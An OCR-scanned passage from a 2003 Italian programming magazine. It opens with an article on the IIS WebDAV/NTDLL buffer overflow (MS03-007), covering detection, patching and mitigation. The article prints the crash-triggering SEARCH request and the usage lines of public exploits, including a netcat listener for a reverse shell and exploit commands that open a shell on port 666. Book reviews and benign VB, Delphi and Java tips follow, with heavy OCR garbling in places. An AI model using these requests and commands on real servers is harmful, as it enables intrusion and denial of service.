tecnici di Microsoft erano concentrati su 



44*->-* m 



9 9 



http ://www.itport al.it 



G I 



I I 



US e Windows 2000 con scopi diversi ma 
con l'unico intento di realizzare, nel mi- 
nor tempo possibile, un exploit simile a 
quello usato per bucare il server militare 
americano. 

I DETTAGLI 
DEL PROBLEMA 

II problema scoperto questa volta dagli 
hackers non è una semplice falla di US, 

ma si tratta di una "core vulnerability", 
cioè un bug che affligge il sistema opera- 
tivo a un livello molto basso (interessan- 
do la libreria NTDLL. DLL). Va precisato 
che Internet Information Server (e il suo 
componente WebDAV) sono in questo 
caso solo un veicolo per arrivare alla 
NTDLL e causare un buffer overflow. 
In sostanza quasi tutti gli US 5.0 montano 
per default un componente chiamato 
WebDAV, creato da Microsoft per esten- 
dere il protocollo HTTP aggiungendo 
funzionalità di gestione file (upload, 
download, check-out) agli utenti remoti. 
Le estensioni WebDAV di un web server 
si possono facilmente scoprire, collegan- 
dosi via telnet sulla porta 80 e digitando 
la stringa: 

OPTIONS * HTTP/1. 1 

seguita da due volte <INVIO>. 
La risposta di WebDAV, quando è instal- 
lato, non si fa attendere e in genere è que- 
sta: 

HTTP/1.1 200 OK 

Server: Microsoft-HS/5.1 

Date: Wed, 26 Mar 2003 09:44:23 GMT 

Content-Length: 
Accept-Ranges: bytes 

DASL: <DAV:sql> 

DAV: 1, 2 

Public: OPTIONS, TRACE, GET, HEAD, DELETE, 

PUT, POST, COPY, MOVE, MKCOL, PROPFIND, 
PROPPATCH, LOCK, UNLOCK, SEARCH 

Risposte del tipo "404" o "500" nell'inte- 
stazione HTTP indicano invece l'assenza 
di WebDAV. Come si vede dall'esempio le 
estensioni pubbliche aggiunte da Web- 
DAV sono davvero tante e una di queste 
in particolare (PROPFIND) è sensibile al 
buffer overflow, anche se non è escluso 
che molti altri verbi HTTP siano comun- 
que strumenti validi per lanciare l'exploit 
(tra cui anche la richiesta SEARCH /). 



IL BUG VISTO 
DA VICINO 

Realizzare l' overflow è molto semplice, 
basta solo inviare ad un server US 
/WebDAV una richiesta di questa forma: 

SEARCH /AAAAAAAAAAAAAAAAAAAAAAAAAA 

AAAAAAAAAAAAAAAAAAAAAAA ... HTTP/ 1 . 1 
Host: vulntest 
Content-Type: text/xml 
Content-Length: 137 
<?xml version="1.0"?> 
<g:searchrequest xmlns:g = "DAV:"> 
<g:sql> 
Select "DAV:displayname" from scope() 

</g:sql> 

</g:searchrequest> 

dove le "A" che seguono il verbo SEAR- 
CH devono essere almeno 65.535. In que- 
sto modo si causa un buffer overflow 
nella libreria di sistema NTDLL.DLL, 
dovuto alla conversione in formato 
Unicode della richiesta HTTP operata da 
US, che raddoppia di fatto la dimensione 
della stringa (ad esempio il carattere 
"A=0x41" diventa "0x41 0x00" in forma- 
to Unicode). Questo overflow finisce 
quindi col scrivere dati nello stack del 
processo, modificando il valore dell'indi- 
rizzo di ritorno (RET) e alterando di con- 
seguenza il valore del registro EIP, cosa 
che consente ad un hacker di modificare 
il corso e l'esecuzione di un programma a 
suo piacimento. 

L'unico fattore mitigante in tutta questa 
brutta storia è che la conversione Uni- 
code del buffer rende abbastanza compli- 
cato il calcolo preciso dell'indirizzo di 
ritorno nell'exploit (ad esempio Oxabcd 
diventa OxOOabOOcd), cosa che obbliga gli 
assalitori ad un numero imprecisato di 
tentativi prima di "beccare" la RET giusta 
capace di eseguire uno shellcode iniettato 
tramite US. 

Dal punto di vista del server l'exploit non 
viene avvertito in maniera visibile, per- 
ché Windows 2000 non mostra alcuna 
finestra di errore o schermata blu, tutta- 
via - a basso livello - accade un finimon- 
do, perché US va in crash per alcuni 
secondi (a volte anche in modo definiti- 
vo!), rendendo di fatto inaccessibile i siti 
web ospitati. 

Da Windows 2000 è possibile accorgersi 
degli eventuali problemi causati dall' o- 
verflow cercando nei log di US e dal regi- 
stro degli eventi di sistema. 













\s 


Qe™,. 


■ ■■■ ■':■,:■■.■■ ■■-:,.. 


19.26.20 


■:■-* /:■'.■?. : 




Errori; 


&o;/;oo3 


19. 2i-,Z0 


"•=:■ ■■.•;'" v;-:;ì vi ;■"*;■= -.w 




Errore 


25/0 3/200? 


19. 9ì,Z0 


Service Control Manager 




Errore 


.?::..'■.:• : . :-.-> 


19,26:20 


Service Control M ,:.!>:' ;:;■=< 




...' ir:' .;;;,.■::-■, 


.r.'-.v 1 . :■-.-■< 


19,26.20 


II5CTLS 




■. .■■' ;:-: ; :,™.à.-ki";i 


■!''■ ■' " ■■■ 


19.26.13 


II5CTLS 




Qe™,. 


,'C'.->v:v:/i 


19.26.12 


Service Control Manager 




. Lrrore 


X-miiXi 'i 


19,26,12 


Service Control Manager 




Errore 


T',]-.yZ:- 3 


15,26,12 


Service Control Manager 




Errore 


^.r..-,:::.-% 


19,26,12 


Service Control Manager 




. ■■■ !flfOJ'l'f:.- 2 ::|il ;■ 


;■-:.■.■:/.;■:■.:■,■, 


19,26,12 


II5CTLS 




.,,.■■ ,!-,-■?■'-:-:;•■■■,' 


:■■■■:.. M\. :■:■..: 


19.26.05 


IISCTLS 




Errori? 


;;'■;,;:.,< ;:;:>;,.; 


19.26.01 


Servire Control Manager 




Qe™,. 


;;.,■: i: 


19.26.04 


Service Control Manager 




Errore 


;;■ ':■:■/! ■:■::.; 


19,26,04 


Service Control Manager 




©Errore 


25/03/2003 


19,26,04 


Service Control Manager 



Fig. 2: I problemi causati dal buf- 
fer overflow di NTDLL sono elen- 
cati nel registro degli eventi di 
Windows 2000; l'attacco non sem- 
bra mostrare altri errori visibili. 



Altri veicoli 
di attacco? 



a: 



Dall'analisi del bug di 
NTDLL è emerso che Web- 
DAV in questo caso ha solo con- 
cesso la via per sfruttare la vul- 
nerabilità, ma non risente di per 
sé di alcun problema. David 
Litchfield david@nqssoftware.com 
ha eseguito alcuni studi che po- 
trebbero portare alla luce nuovi 
veicoli di attacco diversi da 
WebDAV. L'analisi si trova su 
http : //www, nqssoftwa re . com/pa pers 
/ms03-007-ntdll.pdf 



IP or Hostnàme : wwwrriicrosolt.de 



Che e kin g 

The remole server is VULHERABLE 

■;:..■■. 



■ ■ . ■ ■ . ■■ ■ ■ : 

hit n: /Vww-.'. pi ss curii g. coiti 



Fig. 3: I tecnici della PT Security 
sono i primi ad aver messo a 
disposizione in rete un tool 
(PTWebDAV) per testare la 
vulnerabilità dei server. 



25/03/2003 Origine: Sei 
19.26 Categoria: Ne; 



-:o::o-j-r MATUSA 



ja | 



■■:.■■.■ ■■ ■ . . . . ■ ■ ■ i 

Tip-ir ■■•■*.;? ,5. ìir.i= : -jJ?.- [.fi .v:-g:;~i.i: k--x 

..■■.. . . ■. ■. : . ■ .■...■ .■■.■.■.. ■..■■■ ■■ 



Peti: ff Byte C Words 



~D 



d 



:_ 



j. 



Fig. 4: US reagisce all'attacco 
andando in crash per una decina 
di secondi e riavviandosi; in alcuni 
casi si è notato che il servizio 
potrebbe non ripartire. 



http ://www.itport al.it 



g g 



003 ►►► 45 



G I 



I I 



Patch 



0, 



La soluzione al problema 
di NTDLL fornita da 
Microsoft si può scaricare da 



http: //www, microsoft.com/technet/ 
treeview/default.asp?url=/technet/ 
security/bulletin/ms03-007,asp 

tuttavia molti amministratori di 
sistema hanno notato alcune 
incompatibilità della patch sui 
Windows 2000 precedenti al 
Service Pack 3. Si consiglia 
quindi di portare i server al 
livello SP3 prima di installare la 
patch. 




Fig. 5: L'exploit WB.C in azione... 
l'aggressione non riesce sempre al 
100% e bisogna avere un pò di 
fortuna e indovinare il padding 
giusto (valore che dipende dalle 
diverse versioni di Windows 
2000). 




Fig. 6: Il bollettino di Microsoft 
catalogato MS03-007 mette a 
disposizione una patch per il 
problema che tuttavia è instabile 
sui Windows 2000 precendenti al 
Service Pack 3. 



Sul Web 



Breve storia dell'exploit e della 
sua scoperta 

http://lists.insecure.org/lists/isn 
/2003/Mar/0098.html 

Advisory della vulnerabilità e 
della scoperta del bug di US 
/WebDAV 

http://www.trusecure.com/corporate 
/press/2003/iisexploit031803.shtml 

Analisi dei buffer overflow e del 
problema di WebDAV 

http://www.entercept.com/events 
/webdav/ 



GLI EXPLOIT E I TOOLS 
DISPONIBILI 

In rete sono stati rilasciati diversi tool ed 
exploit utili sia per testare la vulnerabi- 
lità, sia per tentare di sfruttare appieno 
l'exploit: quest'ultimo tipo di codice tenta 
addirittura l'apertura una shell (cmd.exe 
/e) gestibile remotamente da un hacker. 
Scopriamo assieme alcuni di questi codi- 



PTWebDAV 

http://iuiuiv.ptsecurity.com/tools/PTwebdav.zip 
Autore: Positive Technology 

Trattasi di un tool per Windows, in for- 
mato eseguibile, capace di verificare la 
presenza di WebDAV e della vulnerabilità 
su un server remoto di cui si conosce l'in- 
dirizzo IP. L'uso è immediato e sfrutta la 
richiesta del tipo "SEARCH /AAAA..." 
che in alcuni casi potrebbe crashare il web 
server. 

WDAV.PL 

Autore: Elia Florio 

Script in linguaggio PERL (eseguibile sia 
sotto Linux, sia sotto Windows) realizzato 
da me personalmente. L'uso è semplice, 
basta lanciarlo usando la sintassi "peri 
wdav.pl -h www.targetserver.com" per testa- 
re la presenza di US, la presenza di 
WebDAV e l'overflow. L'output mostra 
passo dopo passo cosa avviene sul server 
remoto durante il test. 

WB.C 

http://www.darksite.ch/edsa/coromputer 

/temp/wb.c 

Autore: Kralor 

Il primo exploit "di pubblico dominio" 
apparso sulla rete e su Bugtraq. E' un pro- 
gramma C per Windows, compilabile con 
Visual Studio; tenta l'exploit della vulne- 
rabilità aprendo una reverse shell su una 
porta a scelta, l'uso pratico necessita 
quindi di NETCAT (http://www.atstake.com 
/research/tools/ ncllnt.zip). L'hacker dap- 
prima apre una porta sul proprio host 
(supponiamo con indirizzo 1.2.3.4) usan- 
do "ne -l -vv -p 666" , quindi prova ad 
eseguire l'exploit usando la sintassi "wb 
www.targetserver.com 1.2.3.4 666 0". 
L'ultimo valore ("0") passato all'exploit 
rappresenta il "padding", ossia il fattore 
di indeterminazione nella riuscita dell'ex- 



ploit di cui si parlava prima. Servono 
molti tentativi prima di trovare il padding 
giusto; l'autore consiglia di provare i 
valori 0-20 e 193-194. Tra un tentativo e 
l'altro occorre aspettare qualche secondo 
prima che US sia di nuovo pronto ad 
accettare le richieste. 

RSJIS.C 

http:/ /www. rs-labs .com/exploitsn tools/rs_iis .e 
Autore: Roman Medina 

Exploit da compilare con GCC sotto qual- 
siasi versione di Linux. E simile al prece- 
dente, ma utilizza uno shellcode diverso e 
non necessita dell'ausilio di NETCAT. 
L'hacker può lanciarlo semplicemente 
usando "./rs_iis www.targetserver.com 80 
666 0xKK04"; l'attacco mira ad aprire una 
shell sulla porta 666 dove l'hacker può 
telnettarsi per eseguire i suoi comandi sul 
server. 

Anche in questo caso esiste il solito fatto- 
re casuale che costringe un hacker a 
numerosi tentativi variando i valori "KK" 
tra 00-FF. 



POSSIBILI SOLUZIONI 

Parlare di una soluzione al problema è un 
arduo compito. La patch ufficiale rilascia- 
ta in fretta e furia da Microsoft è infatti 
ancora instabile e sulle versioni più anti- 
quate di Windows 2000 (precedenti al 
Service Pack 3) causa solo problemi 
(schermate blu ed errori di sistema). Rac- 
comando quindi l'installazione della 
patch solo sui sistemi Windows 2000-SP3 
(il Service Pack 3 in italiano può essere 
prelevato da http:/ /download .microsoft .com 
/download/zvin2000platform/SP/SP3/NT5/IT 
/ W2Ksp3.exe). 

Windows XP sembra immune per il mo- 
mento al problema, perché monta US 5.1 e 
WebDAV con una versione diversa (e mi- 
gliore) della NTDLL .DLL. 
Chiudere WebDAV (se questo non è uti- 
lizzato) può essere un'altra strada da 
seguire, ma si tratta sempre di un rimedio 
temporaneo, perché i ricercatori, investi- 
gando sul bug, hanno scoperto che altre 
piattaforme, diverse da US, potrebbero 
diventare veicoli per questo attacco e che 
WebDAV - in questo caso - non ha nessun 
bug, è solo un mezzo per arrivare alla 
NTDLL.DLL, che è la vera sede del pro- 
blema. 

Elia Florio 



46*-** m 



a g g 



2 3 



http://www.itportal.it 



Biblioteca 



ON LINE 



Java Fi le 

Serve una particolare ap- 
plet o JavaScript di sup- 
porto alla vostra pagina 
Web? Niente paura ecco il 
sito giusto! 



ES^^^HHH 






Si 


SZZ- "JZZjZZp" 



http://www.javafile.com/ 



Delphi32 

li sito dedicato agli svi- 
luppatori Delphi: faq, 
articoli, Tips & Tricks. 
Da porre l'accento sulla 
sezione Newsgroups: ben 
curata e soprattutto visi- 
tata da numerosi esperti. 
http://www.delphi32.com/ 




123 ASPX 

Ti sei da poco avvicinato 
alla programmazione ASP 
.NET? 

Hai bisogno di trovare un 
sito interamente dedicato 
al linguaggio con tanto 
materiale pronto all'uso?! 
Allora non puoi non visi- 
tare questo sito! 




Wireless Java: developing with J2ME 






WIRELESS JAVA : 

DfwmiH' urini Uni, Hcn UHM 




http://www.123aspx.com/ 



Un testo che si ripromette di guidare il lettore nella comprensione e utilizzo 
passo passo della nuova tecnologia Java 2 Micro Edition, una versione del 
linguaggio Java interamente dedicata allo sviluppo di applicazioni rivolte al 
mondo mobile (telefonini, palmari, PDA, Smartphone). I vari capitoli illustrano 
diversi aspetti della tecnologia, tra cui l'utilizzo del MIDP (Mobile Information 
Device Profile) ovvero l'implementazione, specifica per il dispositivo, della Java 
Virtual Machine, in grado di far girare applicazioni sviluppate attraverso un 
SDK compatibile. Diversi esempi pratici guidano l'utente nella realizzazione di 
applicazioni in grado di "colloquiare" direttamente con le caratteristiche 
hardware del dispositivo mobile; interessante un esempio completo che mostra 
come realizzare un'applicazione in grado di dialogare, tramite protocollo http, 
con Internet. 

Difficoltà: Medio - Alta • Autore: Jonathan Knudsen • Editore: APress http://www.apress.com 
ISBN: 1-59059-077-5 • Anno di pubblicazione: 2003 • Lingua: Inglese • Pagine: 364 
Prezzo: $ 34.99 



Programmare AutoCAD con VBA 

AutoCAD 2002 rappresenta sicuramente il software più prestigioso al mondo per 

il disegno tecnico e la progettazione. Il software si è evoluto nel tempo fino a 

diventare un vero e proprio ambiente in grado di essere personalizzato grazie al 

supporto del linguaggio VBA (Visual Basic for Application). Ripercorrendo i 

diversi capitoli del testo, il lettore avrà la possibilità di apprendere le basi 

dell'automazione, dei comandi e della programmazione orientata agli oggetti, di 

acquisire familiarità con l'ambiente di sviluppo interattivo VBA di AutoCAD fino a 

progettare documenti in grado di interagire con altre applicazioni e attraverso la 

Rete Internet. 

Difficoltà: Medio - Alta • Autore: Clark Jeffrey E. • Editore: Mondadori Informatica 
http://www.education.mondadori.it • ISBN: 88-8331-425-5 • Anno di pubblicazione: 2002 

Lingua: Italiano • Pagine: 727 • Prezzo: C 50,00 



Telecomunicazioni - Reti, trasmissione dati, 
telefonia, wireless 

Il volume si pone come un'ottima guida all'apprendimento delle nuove tecnologie 
di trasmissione dati; il libro offre un'ampia panoramica su tutte le tematiche chiave 
ad essa relative, partendo con un breve storia della telefonia e dell'evoluzione delle 
reti, per passare poi al wireless, la convergenza, il protocollo IP, le reti virtuali 
private, insomma spaziando dalle più datate tecnologie di trasmissione dati, alle 
più moderne soluzioni. Un testo importante per chi vuole ampliare la propria 
conoscenza sull'argomento Telecomunicazioni, sia il lettore un professionista 
piuttosto che un semplice appassionato. Tra gli argomenti di maggiore spicco: 

• Elementi fondamentali di telecomunicazione: le basi della telefonia e della 
gestione del sistema telefonico 

• L 'architettura di Internet, i service provider (ISP) e le opzioni d'accesso 

• La rete PSTN 

• Telefonia wireless 

Difficoltà: Alta • Autore: Moore, Pitsky, Riggs, Southwick • Editore: Apogeo 
http://www.apogeonline.com • ISBN: 88-503-2029-9 • Anno di pubblicazione: 2002 
Lingua: Italiano • Pagine: 480 • Prezzo: C 36,00 




48 ►►► 



g g 



http:// www. itportal.it 



& 



Tips&Tricks 



I trucchi 
del mestiere 



La rubrica raccoglie trucchi e piccoli pezzi di codice che solitamente non trovano posto nei manuali, ma sono frutto dell'esperienza di 
chi programma. Alcuni trucchi sono proposti dalla Redazione, altri provengono da una ricerca sulla Rete delle Reti, altri ancora ci 
giungono dai lettori. Chi vuole contribuire potrà inviarci i suoi tips&tricks preferiti che, una volta scelti, verranno pubblicati nella 
rubrica. Il codice completo dei tips lo trovate nel CD allegato nella directory \tips\. 



V i s u a 



B a s 



€►►►►►►►►► 



» 



Come ricavare la versione 
del programma sviluppato 



Il codice che segue permette di ricavare la versione del programma, 
le stesse informazioni visualizzate dal menu proprietà di un file 
Windows. 



End If 

Next i 
End Function 

Accettare solo caratteri numerici 
all'interno di una textbox 

Il codice inserito nell' evento di una textbox, nell'esempio chiamata 
Textl, scarta tutti i tasti premuti che non corrispondono ad un ca- 
rattere numerico. 



Me.Caption = Me.Caption &App. Major & "." & App. Minor & "." 

& App. Revision 

Convertire in modo semplice 
un file grafico da WMF a BMP 

Un piccolo pezzo di codice che rende possibile il passaggio fra due 
tra i più diffusi formati grafici. 




Spostare un file su disco 

Per spostare un file su disco basta semplicemente utilizzare il se- 
guente codice: 

Name "C:\MIOFILE.TXT" As "C:\COPIA\MIOFILE.TXT" 

Invece di rinominare il file il risultato sarà lo spostamento in 
un'altra directory. 

Controllare se un form 
è presente in memoria 

È possibile utilizzare il seguente codice per verificare se un form con 
un nome predefinito e' presente in memoria. La funzione cerca tra 
tutti i form uno che abbia il nome da noi scelto. 

Private Function CercaForm(ByVal form_name As String) As Form 

Dim i As Integer 
' Per default la form non e' trovata. 
Set CercaForm = Nothing 
' Ciclo per la ricerca. 
For i = To Forms.Count - 1 

If Forms(i).Name = form_name Then 
' We found it. Return this form. 
Set CercaForm = Forms(i) 
Exit For 



Private Sub Textl_Change() 
If Not IsNumeric(Textl.Text) Then 
Textl. Text = "" 
End If 

Come rilevare una connessione 
internet attiva 

La funzione seguente, utilizzando la libreria ivininet, testa lo stato 
della connesione ad internet cosi' da rilevare se si e' connessi alla re- 
te, se e' presente una connessione viene ritornato un valore 1 altri- 
menti viene ritornato un valore 0. 

Private Declare Function InternetGetConnectedState Lib "wininet" 

(ByRef dwflags As Long,ByVal dwReserved As Long) As Long 

Con queste costanti possiamo anche distinguere il tipo di connessio- 
ne attiva. 

Private Const CONNECT_LAN As Long = &H2 

Private Const CONNECT_MODEM As Long = &H1 

Private Const CONNECT_PROXY As Long = &H4 

Private Const CONNECT_OFFLINE As Long = &H20 

Il codice che segue illustra un possibile uso della funzione in oggetto. 

Public Function IsWebConnected(Optional ByRef ConnType As String) 

As Boolean 

Dim dwflags As Long 

Dim WebTest As Boolean 

ConnType = "" 

WebTest = InternetGetConnectedState(dwflags, 0&) 

Select Case WebTest 

Case dwflags And CONNECT_LAN: ConnType = "LAN" 

Case dwflags And CONNECT_MODEM: ConnType = "Modem" 

Case dwflags And CONNECT_PROXY: ConnType = "Proxy" 

Case dwflags And CONNECT_OFFLINE: ConnType = "Offline" 

End Select 

IsWebConnected = WebTest 

End Function 

Private Sub Commandl_Click() 



http: //www. itportal.it 



g g 



3 ►►► 49 



Dim msg 


As String 








If IsWebConnected(msg) 


Then 






msg = 


"Sei connesso 


ad internet tramite : 


" & 


msg 


Else 


msg = 


"Non sei connesso ad internet." 






End If 


MsgBox msg, vbOKOnly, 


"Stato della connessione 


ad internet" 


End Sub 




Come rilevare il tipo di unità 
fornita come parametro 

Per rilevare il tipo di unità facciamo ricorso alle API ed in particola- 
re alla funzione GetDriveType contenuta in Kernel32: 

Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" 

(ByVal nDrive As String) As Long 

La funzione accetta in input l' identificativo logico dell'unità da esa- 
minare e ritorna in output un valore del tipo: 

1 se il drive non esiste; 

2 se è un disco rimovibile; 

3 se è un hard disk; 

4 se è un drive di rete; 

5 se è un CD-Rom; 

6 se è un RAM Drive. 

Rilevare lo spazio disponibile 
su un disco e altre informazioni 

La funzione GetDiskFreeSpace permette di sapere quanto spazio libe- 
ro è ancora presente in un disco, la dichiarazione è la seguente: 

Private Declare Function GetDiskFreeSpace Lib "kernel32" Alias 

"GetDiskFreeSpaceA" (ByVal IpRootPathName As String, 

IpSectorsPerCluster As Long, IpBytesPerSector As Long, 

IpNumberOfFreeClusters As Long, IpTtoalNumberOfClusters 

As Long) As Long 

Passando come primo parametro l'identificativo logico dell'unita da 
esaminare, la funzione assegna ai restanti parametri i valori rilevati, 
a questo punto per determinare lo spazio libero su disco basta mol- 
tiplicare: (Settori per cluster) * (bytes per settori) * (numero di cluster li- 
beri) 

Conoscere la dimensione in byte 
di un file 

La funzione FileLen ritorna in output il numero di byte che com- 
pongono il file specificato nel parametro in input. 

Dimensione=FileLen("c: \miofile.txt ") 

Come rilevare il nome 
del computer in uso 

La funzione Nomepc, facendo uso di GetComputerName, ritorna come 
valore il nome del pc. 

Private Declare Function GetComputerName Lib "kernel32" Alias 

"GetComputerNameA" (ByVal IpBuffer As String, nSize As Long) As Long 
Function Nomepc() As String 



Nascondere il puntatore del mouse 

Usando la seguente funzione è possibile evitare che venga vi- 
sualizzata la freccetta utilizzata come puntatore del mouse: 

Declare Function ShowCursor& Lib "user32" (ByVal bShow As Long) 

L'uso è molto semplice: 

ShowCursor ' nasconde il puntatore 

ShowCursor 1 ' riattiva la visualizzazione del puntatore 

Come generare 

codici alfanumerici univoci 

Questo tip si consente di generare degli ID alfanumerici di 32 carat- 
teri/numeri sfruttando la API di Windows CoCreateGuid ed elimi- 
nando dal GUID le parentesi graffe e i trattini. Questo sistema può 
essere utile in una tabella di un DB se non si vuole utilizzare un cam- 
po sequence, per file e cartelle temporanee e per tutti i casi in cui si 
abbia bisogno di un codice univoco. Tip fornito dal sig. A.Castaldo 

Option Explicit 

Private Declare Function CoCreateGuid Lib "ole32.dll" (pguid As Guid) 

AsLong 

Private Declare Function StringFromGUID2 Lib "ole32.dll" (rguid As Any, 
ByVal IpstrCIsId As Long, ByVal cbMax As Long) As Long 

Private Type Guid 
Datai As Long 
Data2 As Long 
Data3 As Long 
Data4(8) As Byte 

End Type 

Public Function CreateGUID() As String 

Dim udtGUID As Guid 

Dim strGUID As String 

Dim bytGUIDQ As Byte 

Dim IngLen As Long 
Dim IngRetVal As Long 
Dim IngPos As Long 
IngLen = 40 

bytGUID = String(lngLen, 0) 

CoCreateGuid udtGUID 

IngRetVal = StringFromGUID2(udtGUID, VarPtr(bytGUID(0)), IngLen) 

strGUID = bytGUID 

If (Asc(Mid$(strGUID, IngRetVal, 1)) = 0) Then 

IngRetVal = IngRetVal - 1 

End If 

strGUID = Left$(strGUID, IngRetVal) 

CreateGUID = strGUID 

End Function 

Public Function CreateID() As String 

CreatelD = RemoveChars(CreateGUID, "{-}") 



50*-*-* m 



g g 



3 



http: //www. itportal.it 



T I P S 



T R I C K S 



IL TIPONE del mese 


Handles Buttonl. Click 




AddHandler Allarme. Changed, AddressOf Cambiamento 


^i Come monitorare un file 
l£U o una cartella di sistema 


AddHandler Allarme. Renamed, AddressOf Rinomina 
Allarme. EnableRaisingEvents = True 
End Sub 


Il tip, in linguaggio VB.NET, consente di monitorare costantemen- 


Private Sub Cambiamento(ByVal Sorgente As Object, ByVal 


te una cartella o un file del sistema avvertendo l'utente ogni qual- 


e As FileSystemEventArgs) 


volta accade una variazione, per esempio il file viene rinominato 


MsgBox("Attenzione il file è cambiato in qualche sua componente") 


o modificato. Il codice lavora in background e si attiva alla pres- 


End Sub 


sione del buffoni; nell'esempio viene monitorizzato il file test.txt 


Private Sub Rinomina(ByVal Sorgente As Object, ByVal 


presente nella directory e: \ . Il tip è personalizzabile per controlla- 


e As System. IO. RenamedEventArgs) 


re qualunque file del sistema. 


MsgBox("Attenzione il file è stato Rinominato") 


Tip fornito dal sig. Miceli 


End Sub 




Private Sub Forml_Load(ByVal sender As System. Object, ByVal 


Imports System 


e As System. EventArgs) Handles MyBase.Load 


Imports System. Diagnostics 


Allarme = New FileSystemWatcher() 


Imports System. IO 


InfoFile = New FileInfo("c:\test.txt") 


Imports System.Threading 


With Allarme 


Public Class Formi 


.Path = InfoFile. DirectoryName.ToString 


Inherits System. Windows. Forms. Form 


.Filter = "" 


Private Allarme As System. IO. FileSystemWatcher 


.NotifyFilter = NotifyFilters.FileName Or _ 


Private InfoFile As Filelnfo 


NotifyFilters.Size Or NotifyFilters.LastWrite 


#Region " Codice generato da Progettazione Windows Form " 


Or NotifyFilters.CreationTime 




End With 


#End Region 


End Sub 


Private Sub Buttonl_Click(ByVal sender As System. Object, 




ByVal e As System. EventArgs) 


End Class 



End Function 

Private Function RemoveChars(Source As String, Chars As String) As String 

Dim enumChars As Long 

RemoveChars = Source 

For enumChars = 1 To Len(Chars) 

RemoveChars = Replace( RemoveChars, Mid(Chars, enumChars, 1), "") 

Next 

End Function 
Sub main() 

MsgBox CreatelDQ 

End Sub 



SelectNext(ActiveControl 


as 


TWinControl,True,True ); 


per il precedente usare: 


SelectNext(ActiveControl 


as 


TWinControl,False,True ); 



Come ricavare il nome della window 
posizionata in una specifica posizione 
dello schermo 

La funzione NomeWindow ritorna in output il nome della window 
posizionata nelle coordinate x,y: 



► D e I p h 



► ►►►►►►►►►►►►► 




Come leggere lo stato 
del CAPS LOCK 



Nel codice che segue la funzione IsCapsLockOn ritorna True o Fal- 
se il tasto attivato o disattivato. 




Come spostare il focus all'oggetto 
successivo o precedente 

Per spostare il focus all'oggetto successsivo usare: 



function NomeWindow( X, Y : integer ) : string; 

var 

P : TPoint; 

W : TWinControl; 

begin 

P.X := X; 

P.Y := Y; 

W := FindVCLWindow( P ); 

if( nil <> W )then 

begin 

Result := W.Name; 

end else 

begin 

Result := "; 

end; 
end; 



http: //www. itportal.it 



M a g g 



2 3 ►►► 51 



T I P S 



T R I C K S 



Come leggere la data dell'ultimo 
accesso ad un file 

Poche righe di codice per conoscere la "storia" di un file e in parti- 
colare quando si è verificato l'ultimo utilizzo dello stesso: 

function Ultimoaccesso(sFileName : string ) : TDateTime; 
var 

ffd : TWin32FindData; 

dft : DWord; 

Ift : TFileTime; 

h : THandle; 

begin 

h := Windows. FindFirstFile(PChar(sFileName) f ffd); 

if (INVALID_HANDLE_VALUE <> h) then 

begin 

Windows. FindClose( h ); 

FileTimeToLocalFileTime(ffd.ftLastAccessTime, Ift ); 
FileTimeToDosDateTime(lft f LongRec(dft).Hi, LongRec(dft).Lo); 

Result := FileDateToDateTime(dft); 

end; 
end; 

Come chiedere conferma per 
la chiusura di una applicazione 

Con la procedura presentata di seguito si offre la possibilità all'u- 
tente di confermare una scelta delicata come la chiusura dell' appli- 




Aprire e chiudere il carrello 
del lettore del CD 

Per utilizzare queste due funzioni è necessario includere nel proget- 
to la unit MMSYSTEM. 



Procedure 


ApriCD; 










Begin 


mciSendString('Set cdaudio 


door 


open', 


nil, 


0, 0); 


End; 


Procedure 


ChiudiCD; 










Begin 


mciSendSI 


:ring('Set cdaudio 


door 


closed' 


, ni 


1, 0, 0); 


End; 



Inviare una e-mail con il programma 
di posta elettronica predefinito 

Per poter utilizzare il codice presentato, è necessario aggiungere al 
progetto la unit ShellApi 

ShellExecute(Handle, 'open', 'mailto: 



GiuseppeSgro@email.it?subject=mair, ", ", SW_SHOWDEFAULT); 

Lanciare il browser predefinito 
ed aprire una pagina web 

Anche in questo caso è necessario aggiungere al progetto la unit 
ShellApi: 

ShellExecute(Handle, 'open', 'http://www.delphitips.com', ", ", 

SW_SHOWDEFAULT); 

Come convertire un carattere nel suo 
corrispondente codice ascii 

Nel seguente esempio viene convertito un carattere nel suo codice 
ascii e viceversa. 




Lanciare un'applicazione ed 
attenderne la fine dell'esecuzione 

Una porzione di codice utilissima, che consente una semplice inte- 
razione fra applicazioni diverse: 

procedure Esempio; 

var ProgramHandle : THandle; 

begin 

ProgramHandle := WinExec('C:\Programma.exe', SW_SHOWNORMAL); 

while GetModuleusage(ProgramHandle) <> do 

application, processmessages; 
{Tutto ciò che verrà iserito qui sarà eseguito finché non termina 

l'applicaizone esegiuta da winexec} 
end; 



Java ►►►►►►►►►►►►►►►►► 



1^1 



Usare cut & paste in Java 



Le applicazioni Java possono utilizzare la clipboard creando un'i- 
stanza dell'oggetto Clipboard e richiedendone o settandone il conte- 
nuto: 

Clipboard cb = Toolkit.getDefaultToolkit().getSystemClipboard(); 
String str = textarea.getText(); 
StringSelection contents = new StringSelection(str); 
cb.setContents(contents, nuli); 

Dall'altra parte si può invece recuperare il contenuto della clipboard 
con: 

Clipboard cb = Toolkit.getDefaultToolkit().getSystemClipboard(); 

Transferable content = cb.getContents(this); 

try { 

String str = (String)content.getTransferData(DataFlavor.stringFlavor); 

texta rea . setText(str) ; 
} catch (Throwable e) 



52^^^ m 



a g g 



2 3 



http: //www. itportal.it 



{ System. err.println(e); } 

Nella documentazione API di Java potete trovare tutte le informa- 
zioni necessarie a recuperare anche altri tipi di dati dalla clipboard 
per aggiungere ai vostri programmi tutta la comodità e la potenza 
della funzionalità di cut & paste. 

Concatenazione di stringhe 
e performance 

Se avete del codice in cui la concatenazione di stringhe è un'opera- 
zione molto frequente, tenete a mente che l'utilizzo dell'operazione 
+ sulle stringhe: 

String stringi = "Ciao "; 
String string2 = "Federico"; 
stringi = stringi + string2; 



bita. Il fatto è che tutti i tipi primitivi in java sono passati per va- 
lore, cioè ne viene fatta una copia prima del passaggio ad un me- 
todo chiamato. Gli oggetti e gli array invece sono passati per rife- 
rimento, ovverosia ai metodi invocati viene offerto un "puntato- 
re" - per dirla alla C++ - alla locazione di memoria dove si trova 
l'oggetto originale, e quindi se l'oggetto viene manipolato nel me- 
todo viene modificata l'unica copia dell'oggetto disponibile. Te- 
nete sempre a mente gli effetti collaterali del passaggio di riferi- 
mento quando scrivete dei metodi che ricevono degli oggetti o de- 
gli array come parametri, in modo da non modificarli inavvertita- 
mente e trovare delle sorprese inaspettate al ritorno dalla chiama- 
ta del metodo. 

La corto-circuitazione degli operatori 
booleani 

Considerate il seguente codice: 



è molto meno performante del metodo appena dello string buffer 
